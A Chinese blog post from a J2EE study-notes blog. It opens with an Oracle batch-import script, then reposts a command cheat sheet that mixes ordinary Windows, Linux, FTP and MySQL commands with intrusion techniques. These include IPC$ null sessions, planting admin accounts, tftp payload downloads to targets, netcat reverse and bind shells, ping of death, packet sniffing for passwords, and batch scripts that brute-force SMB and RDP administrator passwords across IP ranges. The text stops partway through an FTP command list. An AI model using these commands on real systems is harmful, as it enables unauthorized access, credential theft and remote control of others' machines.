<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    J2EE學習筆記

    程序猿的軌跡

      BlogJava :: 首頁 :: 聯系 :: 聚合  :: 管理
      7 Posts :: 0 Stories :: 1 Comments :: 0 Trackbacks

    2009年7月20日 #

       昨天是禮拜天,大清早就被一條信息吵醒,PP發來一條信息,說他現在100+個dmp文件需要導入到數據庫中,一聽這么多文件,怎么搞,難道一條一條sql腳本導入,那有多少個文件豈不是要寫多少條sql語句,工作量說起來也不是很大的樣子,拷貝粘貼改改文件名就可以了.......

      一般這條語句,隨便baidu一下都可以查到
      imp username/password@sid file="c:\filename.dmp" full=y ignore=y
      這樣子寫100多條命令也可以導,但是正常人都不可以接受
        
      只好寫腳本了,基本分析了一下 就是把上面的語句中的文件名搞成一個變量,然后for循環取到文件就可以了
      baidu了一下嘗試寫了一個語句
      @echo off
      for /r C:\dmp\ %%i in (*.dmp) do imp username/password@sid file=%%i full=y ignore=y
      pause
      我是在我本地c:\dmp\目錄下放了2個dmp文件,用這個腳本一下就導進去了
      于是把這個腳本發給了PP,PP也跑了一下,結果引出了N的問題,基本都是基本的Oracle配置問題,慢慢解決,發現我對這些也無云里霧里的,但總算還是解決了這些問題,終于可以導進去了,本來100多條的語句就這樣被一條解決了,腳本的魅力實在是太吸引人了。

    今天在網上看到一個腳本的帖子,就拷過來和大家一起分享一下(我想作者應該不會介意的):
          
    net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
    net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
    net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸后映射對方C:到本地為H:
    net use h: \\ip\c$ 登陸后映射對方C:到本地為H:
    net use \\ip\ipc$ /del 刪除IPC鏈接
    net use h: /del 刪除映射對方到本地的為H:的映射
    net user 用戶名 密碼 /add 建立用戶
    net user guest /active:yes 激活guest用戶
    net user 查看有哪些用戶
    net user 帳戶名 查看帳戶的屬性
    net localgroup administrators 用戶名 /add 把"用戶"添加到管理員中使其具有管理員權限,注意:administrator后加s用復數
    net start 查看開啟了哪些服務
    net start 服務名  開啟服務;(如:net start telnet, net start schedule)
    net stop 服務名 停止某服務
    net time \\目標ip 查看對方時間
    net time \\目標ip /set 設置本地計算機時間與"目標IP"主機的時間同步,加上參數/yes可取消確認信息
    net view 查看本地局域網內開啟了哪些共享
    net view \\ip 查看對方局域網內開啟了哪些共享
    net config 顯示系統網絡設置
    net logoff 斷開連接的共享
    net pause 服務名 暫停某服務
    net send ip "文本信息" 向對方發信息
    net ver 局域網內正在使用的網絡連接類型和信息
    net share 查看本地開啟的共享
    net share ipc$ 開啟ipc$共享
    net share ipc$ /del 刪除ipc$共享
    net share c$ /del 刪除C:共享
    net user guest 12345 用guest用戶登陸后用將密碼改為12345
    net password 密碼 更改系統登陸密碼
    netstat -a 查看開啟了哪些端口,常用netstat -an
    netstat -n 查看端口的網絡連接情況,常用netstat -an
    netstat -v 查看正在進行的工作
    netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
    netstat -s 查看正在使用的所有協議使用情況
    nbtstat -A ip 對方136到139其中一個端口開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
    tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:"-w數字"用于設置超時間隔。
    ping ip(或域名) 向對方主機發送默認大小為32字節的數據,參數:"-l[空格]數據包大小";"-n發送數據次數";"-t"指一直ping。
    ping -t -l 65550 ip 死亡之ping(發送大于64K的文件并一直ping就成了死亡之ping)
    ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數"/all"顯示全部配置信息
    tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
    kill -F 進程名 加-F參數后強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
    del -F 文件名 加-F參數后就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如"DEL/AR *.*"表示刪除當前目錄下所有只讀文件,"DEL/A-S *.*"表示刪除當前目錄下除系統文件以外的所有文件

    #2 二:

    del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
    move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動后文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
    fc one.txt two.txt > 3st.txt 對比二個文件并把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
    at id號 開啟已注冊的某個計劃任務
    at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
    at id號 /delete 停止某個已注冊的計劃任務
    at 查看所有的計劃任務
    at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序并重新啟動計算機
    finger username @host 查看最近有哪些用戶登陸
    telnet ip 端口 遠和登陸服務器,默認端口為23
    open ip 連接到IP(屬telnet登陸后的命令)
    telnet 在本機上直接鍵入telnet 將進入本機的telnet
    copy 路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
    copy c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
    cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
    copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
    xcopy 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
    tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸后,將"IP"的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
    tftp -i 對方IP put c:\server.exe 登陸后,上傳本地c:\server.exe至主機
    ftp ip 端口 用于上傳文件至服務器或進行文件操作,默認端口為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
    route print 顯示出IP路由,將主要顯示網絡地址Network addres,子網掩碼Netmask,網關地址Gateway addres,接口地址Interface
    arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
    start 程序名或命令 /max 或/min 新開一個新窗口并最大化(最小化)運行某程序或命令
    mem 查看cpu使用情況
    attrib 文件名(目錄名) 查看某文件(目錄)的屬性
    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
    dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
    date /t 、 time /t 使用此參數即"DATE/T"、"TIME/T"將只顯示當前日期和時間,而不必輸入新日期和時間
    set 指定環境變量名稱=要指派給變量的字符 設置環境變量
    set 顯示當前所有的環境變量
    set p(或其它字符) 顯示出當前以字符p(或其它字符)開頭的所有環境變量
    pause 暫停批處理程序,并顯示出:請按任意鍵繼續....
    if 在批處理程序中執行條件處理(更多說明見if命令及變量)
    goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:":start"標簽)
    call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
    for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變量)
    echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
    echo 信息 在屏幕上顯示出信息
    echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
    findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello
    find 文件名 查找某文件
    title 標題名字 更改CMD窗口標題名字
    color 顏色值 設置cmd控制臺前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
    prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )

    #3 三:

    ver 在DOS窗口下顯示版本信息
    winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
    format 盤符 /FS:類型 格式化磁盤,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
    md 目錄名 創建目錄
    replace 源文件 要替換文件的目錄 替換文件
    ren 原文件名 新文件名 重命名文件名
    tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
    type 文件名 顯示文本文件的內容
    more 文件名 逐屏顯示輸出文件
    doskey 要鎖定的命令=字符
    doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,并創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
    taskmgr 調出任務管理器
    chkdsk /F D: 檢查磁盤D并顯示狀態報告;加參數/f并修復磁盤上的錯誤
    tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認端口23為其它任何端口
    exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
    path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
    cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
    regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
    regedit /e 注冊表文件名 導出注冊表
    cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問權限;/G 用戶名:perm 賦予指定用戶訪問權限;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
    cacls 文件名 查看文件的訪問用戶權限列表
    REM 文本內容 在批處理文件中添加注解
    netsh 查看或更改本地網絡配置情況

    #4 四:

    IIS服務命令:
    iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
    iisreset /start或stop 啟動(停止)所有Internet服務
    iisreset /restart 停止然后重新啟動所有Internet服務
    iisreset /status 顯示所有Internet服務狀態
    iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
    iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
    iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
    iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
    FTP 命令: (后面有詳細說明內容)
    ftp的命令行格式為:
    ftp -v -d -i -n -g[主機名] -v 顯示遠程服務器的所有響應信息。
    -d 使用調試方式。
    -n 限制ftp的自動登錄,即不使用.netrc文件。
    -g 取消全局文件名。
    help [命令] 或 ?[命令] 查看命令說明
    bye 或 quit 終止主機FTP進程,并退出FTP管理方式.
    pwd 列出當前遠端主機目錄
    put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
    get 或 recv [遠程主機文件名] [下載到本地后的文件名] 從遠端主機中傳送至本地主機中
    mget [remote-files] 從遠端主機接收一批文件至本地主機
    mput local-files 將本地主機中一批文件傳送至遠端主機
    dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
    ascii 設定以ASCII方式傳送文件(缺省值)
    bin 或 image 設定以二進制方式傳送文件
    bell 每完成一次文件傳送,報警提示
    cdup 返回上一級目錄
    close 中斷與遠程服務器的ftp會話(與open對應)
    open host[port] 建立指定ftp服務器連接,可指定連接端口
    delete 刪除遠端主機中的文件
    mdelete [remote-files] 刪除一批文件
    mkdir directory-name 在遠端主機中建立目錄
    rename [from] [to] 改變遠端主機中的文件名
    rmdir directory-name 刪除遠端主機中的目錄
    status 顯示當前FTP的狀態
    system 顯示遠端主機系統類型
    user user-name [password] [account] 重新以別的用戶名登錄遠端主機
    open host [port] 重新建立一個新的連接
    prompt 交互提示模式
    macdef 定義宏命令
    lcd 改變當前本地主機的工作目錄,如果缺省,就轉到當前用戶的HOME目錄
    chmod 改變遠端主機的文件權限
    case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
    cd remote-dir 進入遠程主機目錄
    cdup 進入遠程主機目錄的父目錄
    ! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip

    #5 五:

    MYSQL 命令:
    mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
    (例:mysql -h110.110.110.110 -Uroot -P123456
    注:u與root可以不用加空格,其它也一樣)
    exit 退出MYSQL
    mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
    grant select on 數據庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以后面都帶一個分號作為命令結束符)
    show databases; 顯示數據庫列表。剛開始時才兩個數據庫:mysql和test。mysql庫很重要它里面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
    use mysql;
    show tables; 顯示庫中的數據表
    describe 表名; 顯示數據表的結構
    create database 庫名; 建庫
    use 庫名;
    create table 表名 (字段設定列表); 建表
    drop database 庫名;
    drop table 表名; 刪庫和刪表
    delete from 表名; 將表中記錄清空
    select * from 表名; 顯示表中的記錄
    mysqldump --opt school>school.bbb 備份數據庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將數據庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
    win2003系統下新增命令(實用部份):
    shutdown /參數 關閉或重啟本地或遠程主機。
    參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
    例:shutdown /r /t 0 立即重啟本地主機(無延時)
    taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
    參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
    tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
    參數說明:/M 列出當前進程加載的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。

    #6 六:

    Linux系統下基本命令: 要區分大小寫
    uname 顯示版本信息(同win2K的 ver)
    dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
    pwd 查詢當前所在的目錄位置
    cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
    cat 文件名 查看文件內容
    cat >abc.txt 往abc.txt文件中寫上內容。
    more 文件名 以一頁一頁的方式顯示一個文本文件。
    cp 復制文件
    mv 移動文件
    rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
    mkdir 目錄名 建立目錄
    rmdir 刪除子目錄,目錄內沒有文檔。
    chmod 設定檔案或目錄的存取權限
    grep 在檔案中查找字符串
    diff 檔案文件比較
    find 檔案搜尋
    date 現在的日期、時間
    who 查詢目前和你使用同一臺機器的人以及Login時間地點
    w 查詢目前上機者的詳細資料
    whoami 查看自己的帳號名稱
    groups 查看某人的Group
    passwd 更改密碼
    history 查看自己下過的命令
    ps 顯示進程狀態
    kill 停止某進程
    gcc 黑客通常用它來編譯C語言寫的文件
    su 權限轉換為指定使用者
    telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
    ftp ftp連接上某服務器(同win2K)

    附:批處理命令與變量

    1:for命令及變量 基本格式:
    FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變量則用:%%i ,而調用變量時用:%i% ,變量是區分大小寫的(%i 不等于 %I)。
    批處理每次能處理的變量從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

    (set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ "(1 1 254)"第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;"(1 -1 254)"說明:即從254到1 }

    command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
    command_parameters:為特定命令指定參數或命令行開關

    IN (set):指在(set)中取值;DO command :指執行command

    參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如(d:\pass.txt)時 }。
    用法舉例:
    @echo off
    echo 用法格式:test.bat *.*.* > test.txt

    for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
    存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

    /L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變量(ip的最后一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$后,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
    @echo off
    echo 用法格式:ok.bat ip
    FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
    存為:ok.exe 說明:輸入一個IP后,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。

    #7 七:

    2:if命令及變量 基本格式:
    IF [not] errorlevel 數字 命令語句 如果程序運行最后返回一個等于或大于指定數字的退出編碼,指定條件為"真"。
    例:IF errorlevel 0 命令 指程序執行后返回的值為0時,就值行后面的命令;IF not errorlevel 1 命令指程序執行最后返回的值不等于1,就執行后面的命令。
    0 指發現并成功執行(真);1 指沒有發現、沒執行(假)。
    IF [not] 字符串1==字符串2 命令語句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就執行后面的命令。
    例:"if "%2%"=="4" goto start"指:如果輸入的第二個變量為4時,執行后面的命令(注意:調用變量時就%變量名%并加" ")
    IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行后面的命令。
    例:"if not nc.exe goto end"指:如果沒有發現nc.exe文件就跳到":end"標簽處。
    IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字符串1==字符串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句后指:當前面的條件不成立時,就指行else后面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >后就等于是單獨一行了;例如:"if exist test.txt. else echo test.txt.missing ",注意命令中的"."


    (二)系統外部命令(均需下載相關工具):

    1、瑞士軍刀:nc.exe

    參數說明:
    -h 查看幫助信息
    -d 后臺模式
    -e prog程序重定向,一但連接就執行[危險]
    -i secs延時的間隔
    -l 監聽模式,用于入站連接
    -L 監聽模式,連接天閉后仍然繼續監聽,直到CTR+C
    -n IP地址,不能用域名
    -o film記錄16進制的傳輸
    -p[空格]端口 本地端口號
    -r 隨機本地及遠程端口
    -t 使用Telnet交互方式
    -u UDP模式
    -v 詳細輸出,用-vv將更詳細
    -w數字 timeout延時間隔
    -z 將輸入,輸出關掉(用于掃錨時)
    基本用法:
    nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80端口
    nc -l -p 80 開啟本機的TCP 80端口并監聽
    nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024端口
    nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354端口
    nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell并反向連接192.168.0.2的5354端口
    高級用法:
    nc -L -p 80 作為蜜罐用1:開啟并不停地監聽80端口,直到CTR+C為止
    nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟并不停地監聽80端口,直到CTR+C,同時把結果輸出到c:\log.txt
    nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟并不停地監聽80端口,直到CTR+C,并把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
    type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟并不停地監聽80端口,直到CTR+C,并把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
    本機上用:nc -l -p 本機端口
    在對方主機上用:nc -e cmd.exe 本機IP -p 本機端口 *win2K
    nc -e /bin/sh 本機IP -p 本機端口 *linux,unix 反向連接突破對方主機的防火墻
    本機上用:nc -d -l -p 本機端口 < 要傳送的文件路徑及名稱
    在對方主機上用:nc -vv 本機IP 本機端口 > 存放文件的路徑及名稱 傳送文件到對方主機
    備 注:
    | 管道命令
    < 或 > 重定向命令。"<",例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
    @ 表示執行@后面的命令,但不會顯示出來(后臺執行);例:@dir c:\winnt >> d:\log.txt 意思是:后臺執行dir,并把結果存在d:\log.txt中
    >與>>的區別  ">"指:覆蓋;">>"指:保存到(添加到)。
    如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。

    #8 八:

    2、掃錨工具:xscan.exe

    基本格式
    xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
    xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
    檢測項目
    -active 檢測主機是否存活
    -os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
    -port 檢測常用服務的端口狀態
    -ftp 檢測FTP弱口令
    -pub 檢測FTP服務匿名用戶寫權限
    -pop3 檢測POP3-Server弱口令
    -smtp 檢測SMTP-Server漏洞
    -sql 檢測SQL-Server弱口令
    -smb 檢測NT-Server弱口令
    -iis 檢測IIS編碼/解碼漏洞
    -cgi 檢測CGI漏洞
    -nasl 加載Nessus攻擊腳本
    -all 檢測以上所有項目
    其它選項
    -i 適配器編號 設置網絡適配器, <適配器編號>可通過"-l"參數獲取
    -l 顯示所有網絡適配器
    -v 顯示詳細掃描進度
    -p 跳過沒有響應的主機
    -o 跳過沒有檢測到開放端口的主機
      -t 并發線程數量,并發主機數量 指定最大并發線程數量和并發主機數量, 默認數量為100,10
    -log 文件名 指定掃描報告文件名 (后綴為:TXT或HTML格式的文件)
    用法示例
    xscan -host 192.168.1.1-192.168.255.255 -all -active -p  檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
    xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標準端口狀態,NT弱口令用戶,最大并發線程數量為150,跳過沒有檢測到開放端口的主機
    xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測"hostlist.txt"文件中列出的所有主機的標準端口狀態,CGI漏洞,最大并發線程數量為200,同一時刻最多檢測5臺主機,顯示詳細檢測進度,跳過沒有檢測到開放端口的主機

    #9 九:

    3、命令行方式嗅探器: xsniff.exe
    可捕獲局域網內FTP/SMTP/POP3/HTTP協議密碼
    參數說明
    -tcp 輸出TCP數據報
    -udp 輸出UDP數據報
    -icmp 輸出ICMP數據報
    -pass 過濾密碼信息
    -hide 后臺運行
    -host 解析主機名
    -addr IP地址 過濾IP地址
    -port 端口 過濾端口
    -log 文件名 將輸出保存到文件
    -asc 以ASCII形式輸出
    -hex 以16進制形式輸出
    用法示例
    xsniff.exe -pass -hide -log pass.log 后臺運行嗅探密碼并將密碼信息保存在pass.log文件中
    xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并過濾tcp和udp信息并以ASCII格式輸出

    4、終端服務密碼破解: tscrack.exe

    參數說明
    -h 顯示使用幫助
    -v 顯示版本信息
    -s 在屏幕上打出解密能力
    -b 密碼錯誤時發出的聲音
    -t 同是發出多個連接(多線程)
    -N Prevent System Log entries on targeted server
    -U 卸載移除tscrack組件
    -f 使用-f后面的密碼
    -F 間隔時間(頻率)
    -l 使用-l后面的用戶名
    -w 使用-w后面的密碼字典
    -p 使用-p后面的密碼
    -D 登錄主頁面
    用法示例
    tscrack 192.168.0.1 -l administrator -w pass.dic 遠程用密碼字典文件暴破主機的administrator的登陸密碼
    tscrack 192.168.0.1 -l administrator -p 123456 用密碼123456遠程登陸192.168.0.1的administrator用戶
    @if not exist ipcscan.txt goto noscan
    @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
    nscan
    @echo 3389.txt no find or scan faild
    (①存為3389.bat) (假設現有用SuperScan或其它掃錨器掃到一批開有3389的主機IP列表文件3389.txt)
    3389.bat意思是:從3389.txt文件中取一個IP,接著運行hack.bat
    @if not exist tscrack.exe goto noscan
    @tscrack %1 -l administrator -w pass.dic >>rouji.txt
    :noscan
    @echo tscrack.exe no find or scan faild
    (②存為hack.bat) (運行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic與tscrack.exe在同一個目錄下;就可以等待結果了)
    hack.bat意思是:運行tscrack.exe用字典暴破3389.txt中所有主機的administrator密碼,并將破解結果保存在rouji.txt文件中。

    5、其它:

    Shutdown.exe
    Shutdown \\IP地址 t:20 20秒后將對方NT自動關閉(Windows 2003系統自帶工具,在Windows2000下用進就得下載此工具才能用。在前面Windows 2003 DOS命令中有詳細介紹。)
    fpipe.exe (TCP端口重定向工具) 在第二篇中有詳細說明(端口重定向繞過防火墻)
    fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 當有人掃錨你的80端口時,他掃到的結果會完全是www.sina.com.cn的主機信息
    Fpipe -l 23 -s 88 -r 23 目標IP 把本機向目標IP發送的23端口Telnet請求經端口重定向后,就通過88端口發送到目標IP的23端口。(與目標IP建立Telnet時本機就用的88端口與其相連接)然后:直接Telnet 127.0.0.1(本機IP)就連接到目標IP的23端口了。
    OpenTelnet.exe (遠程開啟telnet工具)
    opentelnet.exe \\IP 帳號 密碼 ntlm認證方式 Telnet端口 (不需要上傳ntlm.exe破壞微軟的身份驗證方式)直接遠程開啟對方的telnet服務后,就可用telnet \\ip 連接上對方。
    NTLM認證方式:0:不使用NTLM身份驗證;1:先嘗試NTLM身份驗證,如果失敗,再使用用戶名和密碼;2:只使用NTLM身份驗證。

    ResumeTelnet.exe (OpenTelnet附帶的另一個工具)
    resumetelnet.exe \\IP 帳號 密碼 用Telnet連接完對方后,就用這個命令將對方的Telnet設置還原,并同時關閉Telnet服務。

    #10 十:

    6、FTP命令詳解:

    FTP命令是Internet用戶使用最頻繁的命令之一,熟悉并靈活應用FTP的內部命令,可以大大方便使用者,并收到事半功倍之效。如果你想學習使用進行后臺FTP下載,那么就必須學習FTP指令。

    FTP的命令行格式為:
    ftp -v -d -i -n -g [主機名] ,其中

    -v 顯示遠程服務器的所有響應信息;

    -n 限制ftp的自動登錄,即不使用;.n etrc文件;

    -d 使用調試方式;

    -g 取消全局文件名。

    FTP使用的內部命令如下(中括號表示可選項):

    1.![cmd[args]]:在本地機中執行交互shell,exit回到ftp環境,如:!ls*.zip
    2.$ macro-ame[args]: 執行宏定義macro-name。

    3.account[password]: 提供登錄遠程系統成功后訪問系統資源所需的補充口令。
    4.append local-file[remote-file]:將本地文件追加到遠程系統主機,若未指定遠程系統文件名,則使用本地文件名。

    5.ascii:使用ascii類型傳輸方式。
    6.bell:每個命令執行完畢后計算機響鈴一次。

    7.bin:使用二進制文件傳輸方式。
    8.bye:退出ftp會話過程。

    9.case:在使用mget時,將遠程主機文件名中的大寫轉為小寫字母。
    10.cd remote-dir:進入遠程主機目錄。

    11.cdup:進入遠程主機目錄的父目錄。
    12.chmod mode file-name:將遠程主機文件file-name的存取方式設置為mode,如:chmod 777 a.out。

    13.close:中斷與遠程服務器的ftp會話(與open對應)。
    14.cr:使用asscii方式傳輸文件時,將回車換行轉換為回行。

    15.delete remote-file:刪除遠程主機文件。
    16.debug[debug-value]:設置調試方式, 顯示發送至遠程主機的每條命令,如:deb up 3,若設為0,表示取消debug。

    17.dir[remote-dir][local-file]:顯示遠程主機目錄,并將結果存入本地文件。
    18.disconnection:同close。

    19.form format:將文件傳輸方式設置為format,缺省為file方式。
    20.get remote-file[local-file]: 將遠程主機的文件remote-file傳至本地硬盤的local-file。

    21.glob:設置mdelete,mget,mput的文件名擴展,缺省時不擴展文件名,同命令行的-g參數。
    22.hash:每傳輸1024字節,顯示一個hash符號(#)。

    23.help[cmd]:顯示ftp內部命令cmd的幫助信息,如:help get。
    24.idle[seconds]:將遠程服務器的休眠計時器設為[seconds]秒。

    25.image:設置二進制傳輸方式(同binary)。
    26.lcd[dir]:將本地工作目錄切換至dir。

    27.ls[remote-dir][local-file]:顯示遠程目錄remote-dir, 并存入本地文件local-file。
    28.macdef macro-name:定義一個宏,遇到macdef下的空行時,宏定義結束。

    29.mdelete[remote-file]:刪除遠程主機文件。
    30.mdir remote-files local-file:與dir類似,但可指定多個遠程文件,如 :mdir *.o.*.zipoutfile 。

